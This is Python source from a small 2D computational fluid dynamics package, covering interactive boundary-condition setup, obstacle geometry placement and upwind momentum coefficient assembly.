print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
while ite1>-1:
if(D[0][ite1, 0]!=0):
print("\n[Wall]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
if(flag_SlidingWall_WestBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, 0]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, 0]))
ite=ite1+1
break
if(ite1==0):
print("\n[Wall]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
print("\nNo. of elements = [{}] \n".format(ite-ite1+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1+1))
if(flag_SlidingWall_WestBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, 0]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, 0]))
ite=ite1+1
break
ite1=ite1-1
if(D[0][ite, 0]==1):
ite1 = ite-1
while ite1>-1:
if(D[0][ite1, 0]!=1):
print("\n[Inlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
print("\nInlet U-Velocity {}\n".format(D[1][ite1+1, 0]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\nInlet U-Velocity {}\n".format(D[1][ite1+1, 0]))
ite=ite1+1
break
if(ite1==0):
print("\n[Inlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
print("\nNo. of elements = [{}] \n".format(ite-ite1+1))
print("\nInlet U-Velocity {}\n".format(D[1][ite1+1, 0]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1+1))
boundary_info.write("\nInlet U-Velocity {}\n".format(D[1][ite1+1, 0]))
ite=ite1+1
break
ite1=ite1-1
if(D[0][ite, 0]==-1):
ite1=ite-1
while ite1>-1:
if(D[0][ite1, 0]!=-1):
print("\n[Outlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
print("\nOutlet Pressure {}\n".format(D[3][ite1+1, 0]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][ite1+1, 0]))
ite=ite1+1
break
if(ite1==0):
print("\n[Outlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
print("\nNo. of elements = [{}] \n".format(ite-ite1+1))
print("\nOutlet Pressure {}\n".format(D[3][ite1+1, 0]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1+1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][ite1+1, 0]))
ite=ite1+1
break
ite1=ite1-1
ite=ite-1
flag = input("\nFinished with West Boundary Condition ?? [y/n]\n")
if(flag=='y'):
flag_WestBoundary = 1
print("\n-------------------------------------------------\n")
boundary_info.write("\n-------------------------------------------------\n")
# Eastern Boundary Defining Loop
while (flag_EastBoundary < 1):
flag_Inlet_EastBoundary = 0
flag_Outlet_EastBoundary = 0
flag_SlidingWall_EastBoundary = 0
flag = input("\nInlet in East Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Inlet_EastBoundary = 1
flag = input("\nSliding Wall in East Boundary ?? [y/n]\n")
if(flag=='y'):
flag_SlidingWall_EastBoundary = 1
flag = input("\nOutlet in East Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Outlet_EastBoundary = 1
# Initialising Boundary Markers
east_Boundary = np.zeros((3, 6))
east_Boundary[1, 0] = 1
east_Boundary[2, 0] = -1
# Temporary Wall
east_Boundary[0, 1] = yMin
east_Boundary[0, 2] = yMax
D[0][:, -1] = 0
D[1][:, -1] = 0
D[2][:, -1] = 0
# East Boundary Sliding U-velocity
if(flag_SlidingWall_EastBoundary==1):
east_Boundary[0, 4] = float(input("Enter V-Velocity for Sliding Wall in East Boundary\n"))
D[2][1:ny, -1] = east_Boundary[0, 4]
# Inlet definition in East Boundary
if(flag_Inlet_EastBoundary==1):
east_Boundary[1, 1] = float(input("Enter ymin for Inlet in East Boundary\n"))
eastInlet_bottom_index = int((yMax-east_Boundary[1, 1])/dy)
if(eastInlet_bottom_index==ny):
eastInlet_bottom_index-=1
east_Boundary[1, 2] = float(input("Enter ymax for Inlet in East Boundary\n"))
eastInlet_top_index = int((yMax-east_Boundary[1, 2])/dy)
if(eastInlet_top_index==0):
eastInlet_top_index+=1
east_Boundary[1, 3] = float(input("Enter U-Velocity for Inlet in East Boundary\n"))
# Boundary Marker
D[0][eastInlet_top_index:eastInlet_bottom_index+1, -1] = 1.0
# U-vel User Initialised
D[1][eastInlet_top_index:eastInlet_bottom_index+1, -1] = east_Boundary[1, 3]
# V-vel Initialised to 0
D[2][eastInlet_top_index:eastInlet_bottom_index+1, -1] = 0.0
# Outlet definition in East Boundary
if(flag_Outlet_EastBoundary==1):
flag_Outlet = 1
east_Boundary[2, 1] = float(input("Enter ymin for Outlet in East Boundary\n"))
eastOutlet_bottom_index = int((yMax-east_Boundary[2, 1])/dy)
if(eastOutlet_bottom_index==ny):
eastOutlet_bottom_index-=1
east_Boundary[2, 2] = float(input("Enter ymax for Outlet in East Boundary\n"))
eastOutlet_top_index = int((yMax-east_Boundary[2, 2])/dy)
if(eastOutlet_top_index==0):
eastOutlet_top_index+=1
east_Boundary[2, 5] = float(input("Enter Pressure for Outlet in East Boundary\n"))
# Boundary Marker
D[0][eastOutlet_top_index:eastOutlet_bottom_index+1, -1] = -1.0
# U-vel Uninitialised
D[1][eastOutlet_top_index:eastOutlet_bottom_index+1, -1] = -1000.5
# V-vel Uninitialised
D[2][eastOutlet_top_index:eastOutlet_bottom_index+1, -1] = -1000.5
# Pressure User Initialised
D[3][eastOutlet_top_index:eastOutlet_bottom_index+1, -1] = east_Boundary[2, 5]
print("\n\n------------------EAST BOUNDARY-----------------\n")
boundary_info.write("\n\n------------------EAST BOUNDARY-----------------\n")
ite=ny
while ite>-1:
if(D[0][ite, -1]==0):
ite1=ite-1
if(ite1==-1 and D[0][ite+1, -1]!=0):
print("\n[Wall]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
while ite1>-1:
if(D[0][ite1, -1]!=0):
print("\n[Wall]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}]\n".format(ite-ite1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}]\n".format(ite-ite1))
if(flag_SlidingWall_EastBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, -1]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, -1]))
ite=ite1+1
break
if(ite1==0):
print("\n[Wall]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
print("\nNo. of elements = [{}]\n".format(ite-ite1+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
boundary_info.write("\nNo. of elements = [{}]\n".format(ite-ite1+1))
if(flag_SlidingWall_EastBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, -1]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[2][ite1+1, -1]))
ite=ite1+1
break
ite1=ite1-1
if(D[0][ite, -1]==1):
ite1 = ite-1
while ite1>-1:
if(D[0][ite1, -1]!=1):
print("\n[Inlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
print("\nInlet U-Velocity {}\n".format(D[1][ite1+1, -1]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\nInlet U-Velocity {}\n".format(D[1][ite1+1, -1]))
ite=ite1+1
break
if(ite1==0):
print("\n[Inlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
print("\nNo. of elements = [{}] \n".format(ite-ite1+1))
print("\nInlet U-Velocity {}\n".format(D[1][ite1+1, -1]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1+1))
boundary_info.write("\nInlet U-Velocity {}\n".format(D[1][ite1+1, -1]))
ite=ite1+1
break
ite1=ite1-1
if(D[0][ite, -1]==-1):
ite1=ite-1
while ite1>-1:
if(D[0][ite1, -1]!=-1):
print("\n[Outlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
print("\nNo. of elements = [{}] \n".format(ite-ite1))
print("\nOutlet Pressure {}\n".format(D[3][ite1+1, -1]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1+1)*dy, ite1+1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][ite1+1, -1]))
ite=ite1+1
break
if(ite1==0):
print("\n[Outlet]\n")
print("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
print("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
print("\nNo. of elements = [{}] \n".format(ite-ite1+1))
print("\nOutlet Pressure {}\n".format(D[3][ite1+1, -1]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nyMin = [{:.2f}] Bottom Index = [{}]\n ".format(yMax-(ite)*dy, ite))
boundary_info.write("\nyMax = [{:.2f}] Top Index = [{}]\n ".format(yMax-(ite1)*dy, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite-ite1+1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][ite1+1, -1]))
ite=ite1+1
break
ite1=ite1-1
ite=ite-1
flag = input("Finished with East Boundary Condition ?? [y/n]")
if(flag=='y'):
flag_EastBoundary = 1
print("\n-------------------------------------------------\n")
boundary_info.write("\n-------------------------------------------------\n")
flag_Boundary = 1
return D, xMin, xMax, yMin, yMax, dx, dy, nx, ny, south_Boundary, north_Boundary, west_Boundary, east_Boundary, flag_Outlet
def obstacle(D, xMin, xMax, yMin, yMax, nx, ny, dx, dy):
package_dir = os.path.dirname(os.path.realpath(__file__))
flag_obstacle = 'n'
while flag_obstacle!='y':
scal_x = float(input("\nEnter Scaling factor for X-direction\n"))
scal_y = float(input("\nEnter Scaling factor for Y-direction\n"))
traf_x = float(input("\nOffset in X\n"))
traf_y = float(input("\nOffset in Y\n")) + dy/10
rot = float(input("\nEnter anti-clockwise rotation angle\n"))
flag_geometryCase = input("\n1. Enter address of .txt file\n2. Use default address\n")
if(flag_geometryCase==1):
geometryCase = input("\nEnter address of .txt file\nExample: /home/user/folder/Case_1/Points.txt\n")
else:
geometryCase = package_dir+"/Points.txt"
file1 = open(geometryCase, 'r')
Lines = file1.readlines()
P=[]
N=0
for line in Lines:
N+=1
P.append(np.fromstring(line.strip(), dtype=float, sep=' '))
N+=1
P.append(np.fromstring(Lines[0].strip(), dtype=float, sep=' '))
Lx = xMax-xMin
Ly = yMax-yMin
Points_x=[]
Points_y=[]
for i in range (0, N):
Points_x.append(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan((P[i][1])/(P[i][0])))+traf_x)
Points_y.append(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0]))+traf_y)
fig = plt.subplots(figsize =(Lx*5, Ly*5))
plt.xlim(xMin, xMax)
plt.ylim(yMin, yMax)
plt.fill(Points_x, Points_y, color = 'black')
plt.show()
flag_obstacle = (input("\nConitnue [Y/N] ??\n"))
if(flag_obstacle!='y'):
continue
for i in range(0, ny+1):
for j in range (0, nx+1):
X = xMin + j*dx
Y = yMax - i*dy
count=0
for ite in range (0, N-1):
X1 = Points_x[ite]
X2 = Points_x[ite+1]
Y1 = Points_y[ite]
Y2 = Points_y[ite+1]
if(Y1<=Y<=Y2 or Y2<=Y<=Y1):
if(X1<=X2):
if(X<=(X2+(Y-Y2)*(X1-X2)/(Y1-Y2))):
count +=1
if(X2<=X1):
if(X<=(X1+(Y-Y1)*(X2-X1)/(Y2-Y1))):
count +=1
if(count==1):
D[0][i, j] = 0
D[1][i, j] = 0
D[2][i, j] = 0
D[3][i, j] = -100000
return D, P, Points_x, Points_y
def obstacleMath(D, xMin, xMax, yMin, yMax, nx, ny, dx, dy):
flag_obstacle = 'n'
while flag_obstacle!='y':
scal_x = float(input("\nEnter Scaling factor for X-direction\n"))
scal_y = float(input("\nEnter Scaling factor for Y-direction\n"))
traf_x = float(input("\nOffset in X\n"))
traf_y = float(input("\nOffset in Y\n")) + dy/10
rot = int(input("\nEnter anti-clockwise rotation angle\n"))
P=[]
asq = float(input("\nEnter Horizontal axis length for Elliptical Geometry\n"))
bsq = float(input("\nEnter Vertical axis length for Elliptical Geometry\n"))
a=asq**2
b=bsq**2
N=0
for theta in range (0, 360):
if(theta%2==0):
temp1=a*b/(b+a*np.tan(theta*np.pi/180)**2)
if(0<=theta<=90):
temp = [np.abs(np.sqrt(temp1)), np.abs(np.tan(theta*np.pi/180))*(np.abs(np.sqrt(temp1)))]
elif(90<=theta<=180):
temp = [-np.abs(np.sqrt(temp1)), np.abs(np.tan(theta*np.pi/180))*(np.abs(np.sqrt(temp1)))]
elif(180<=theta<=270):
temp = [-np.abs(np.sqrt(temp1)), -np.abs(np.tan(theta*np.pi/180))*(np.abs(np.sqrt(temp1)))]
elif(270<=theta<=360):
temp = [np.abs(np.sqrt(temp1)), -np.abs(np.tan(theta*np.pi/180))*(np.abs(np.sqrt(temp1)))]
P.append(temp)
N+=1
P.append(P[0])
Lx = xMax-xMin
Ly = yMax-yMin
Points_x=[]
Points_y=[]
for i in range(0, 181):
if(0<=(i+rot/2)<=45):
Points_x.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(45<=(i+rot/2)<=90):
Points_x.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(90<=(i+rot/2)<=135):
Points_x.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(135<=(i+rot/2)<=180):
Points_x.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(180<=(i+rot/2)<=225):
Points_x.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(-45<=(i+rot/2)<=0):
Points_x.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(-90<=(i+rot/2)<=-45):
Points_x.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(-135<=(i+rot/2)<=-90):
Points_x.append(-np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
elif(-180<=(i+rot/2)<=-135):
Points_x.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.cos(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_x)
Points_y.append(np.abs(np.sqrt((P[i][0]*scal_x)**2 + (P[i][1]*scal_y)**2)*np.sin(rot*np.pi/180+np.arctan(P[i][1]/P[i][0])))+traf_y)
fig = plt.subplots(figsize =(Lx*5, Ly*5))
plt.xlim(xMin, xMax)
plt.ylim(yMin, yMax)
plt.fill(Points_x, Points_y, color='black')
plt.show()
flag_obstacle = (input("\nConitnue [Y/N] ??\n"))
if(flag_obstacle!='y'):
continue
for i in range(0, ny+1):
for j in range (0, nx+1):
X = xMin + j*dx
Y = yMax - i*dy
count=0
for ite in range (0, 180):
X1 = Points_x[ite]
X2 = Points_x[ite+1]
Y1 = Points_y[ite]
Y2 = Points_y[ite+1]
if(Y1<Y<=Y2 or Y2<=Y<Y1):
if(X<=X1 or X<=X2):
count +=1
if(count==1):
D[0][i, j] = 0
D[1][i, j] = 0
D[2][i, j] = 0
D[3][i, j] = -100000
return D, P, Points_x, Points_y | 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/boundaryDomain.py | boundaryDomain.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
def U_coeffUpwind(Uxo, Uyo, Po, Uue, Uuw, Vun, Vus, D, rho, visc, urf_UV, nx, ny, dx, dy):
Aup = np.zeros((ny, nx+1))
Aue = np.zeros((ny, nx+1))
Auw = np.zeros((ny, nx+1))
Aun = np.zeros((ny, nx+1))
Aus = np.zeros((ny, nx+1))
Bup = np.zeros((ny, nx+1))
vyx = visc*dy/dx
vxy = visc*dx/dy
for i in range (0, ny):
for j in range (0, nx+1):
if(j!=0 and j!=nx):
Aup[i, j] = rho*dy*(max(Uue[i, j], 0) + max(-Uuw[i, j], 0)) +\
rho*dx*(max(Vun[i, j], 0) + max(-Vus[i, j], 0)) +\
2*(vyx+vxy)
Aue[i, j] = rho*dy*max(-Uue[i, j], 0) + vyx
Auw[i, j] = rho*dy*max(Uuw[i, j], 0) + vyx
Aun[i, j] = rho*dx*max(-Vun[i, j], 0) + vxy
Aus[i, j] = rho*dx*max(Vus[i, j], 0) + vxy
Bup[i, j] = dy*(Po[i, j-1]-Po[i, j])
# South Boundary Outlet
if(D[0][i, j] == 2 and D[0][i+1, j] == -1):
Aup[i, j] += -vxy - rho*dx*max(Vus[i, j], 0)
Aus[i, j] = 0
# North Boundary Outlet
if(D[0][i, j] == -1 and D[0][i+1, j] == 2):
Aup[i, j] += -vxy - rho*dx*max(-Vun[i, j], 0)
Aue[i, j] = 0
# South Boundary Wall
if(D[0][i, j] == 2 and D[0][i+1, j] == 0):
Aup[i, j] += 2*vxy
Aun[i, j] += vxy/3
Aus[i, j] = 0
Bup[i, j] += vxy*8*D[1][i+1, j]/3
# North Boundary Wall
if(D[0][i, j] == 0 and D[0][i+1, j] == 2):
Aup[i, j] += 2*vxy
Aus[i, j] += vxy/3
Aun[i, j] = 0
Bup[i, j] += vxy*8*D[1][i, j]/3
# South Boundary Inlet
if(D[0][i, j] == 2 and D[0][i+1, j] == 1):
Aup[i, j] += 2*vxy + 2*rho*dx*max(Vus[i, j], 0)
Aun[i, j] += vxy/3 + rho*dx*max(Vus[i, j], 0)/3
Aus[i, j] = 0
Bup[i, j] += vxy*8*D[1][i+1, j]/3 + 8*rho*dx*D[1][i+1, j]*max(Vus[i, j], 0)/3
# North Boundary Inlet
if(D[0][i, j] == 1 and D[0][i+1, j] == 2):
Aup[i, j] += 2*vxy + 2*rho*dx*max(-Vun[i, j], 0)
Aus[i, j] += vxy/3 + rho*dx*max(-Vun[i, j], 0)/3
Aun[i, j] = 0
Bup[i, j] += vxy*8*D[1][i, j]/3 + 8*rho*dx*D[1][i, j]*max(-Vun[i, j], 0)/3
# Data Point on Boundary
if(D[0][i, j]!=2 and D[0][i+1, j]!=2):
Aup[i, j] = 1
Aue[i, j] = 0
Auw[i, j] = 0
Aun[i, j] = 0
Aus[i, j] = 0
Bup[i, j] = Uxo[i, j]
# Outlet Boundary
if(D[0][i, j]==-1 and D[0][i+1, j]==-1 and j==nx):
Aup[i, j] = 1
Aue[i, j] = 0
Auw[i, j] = 1
Aun[i, j] = 0
Aus[i, j] = 0
Bup[i, j] = 0
if(D[0][i, j]==-1 and D[0][i+1, j]==-1 and j==0):
Aup[i, j] = 1
Aue[i, j] = 1
Auw[i, j] = 0
Aun[i, j] = 0
Aus[i, j] = 0
Bup[i, j] = 0
# Under-Relaxation Factor
if(D[0][i, j]==2 or D[0][i+1, j]==2):
Aup[i, j] = Aup[i, j]/urf_UV
Bup[i, j] += (1-urf_UV)*Aup[i, j]*Uxo[i, j]
# Matrix Creation
M_Bup = Bup.flatten()
M_Au = np.zeros(((ny)*(nx+1), (ny)*(nx+1)))
ite=0
for i in range (0, ny):
for j in range (0, nx+1):
M_Au[ite, ite] = Aup[i, j]
if ((ite+1)%(nx+1)!=0):
M_Au[ite, ite+1] = -Aue[i, j]
if((ite%(nx+1)!=0) and (ite!=0)):
M_Au[ite, ite-1] = -Auw[i, j]
if (ite<(ny-1)*(nx+1)):
M_Au[ite, ite+nx+1] = -Aus[i, j]
if(ite>nx):
M_Au[ite, ite-nx-1] = -Aun[i, j]
ite+=1
return M_Au, M_Bup, Aup, Aue, Auw, Aun, Aus, Bup
def V_coeffUpwind(Uxo, Uyo, Po, Uve, Uvw, Vvn, Vvs, D, rho, visc, urf_UV, nx, ny, dx, dy):
Avp = np.zeros((ny+1, nx))
Ave = np.zeros((ny+1, nx))
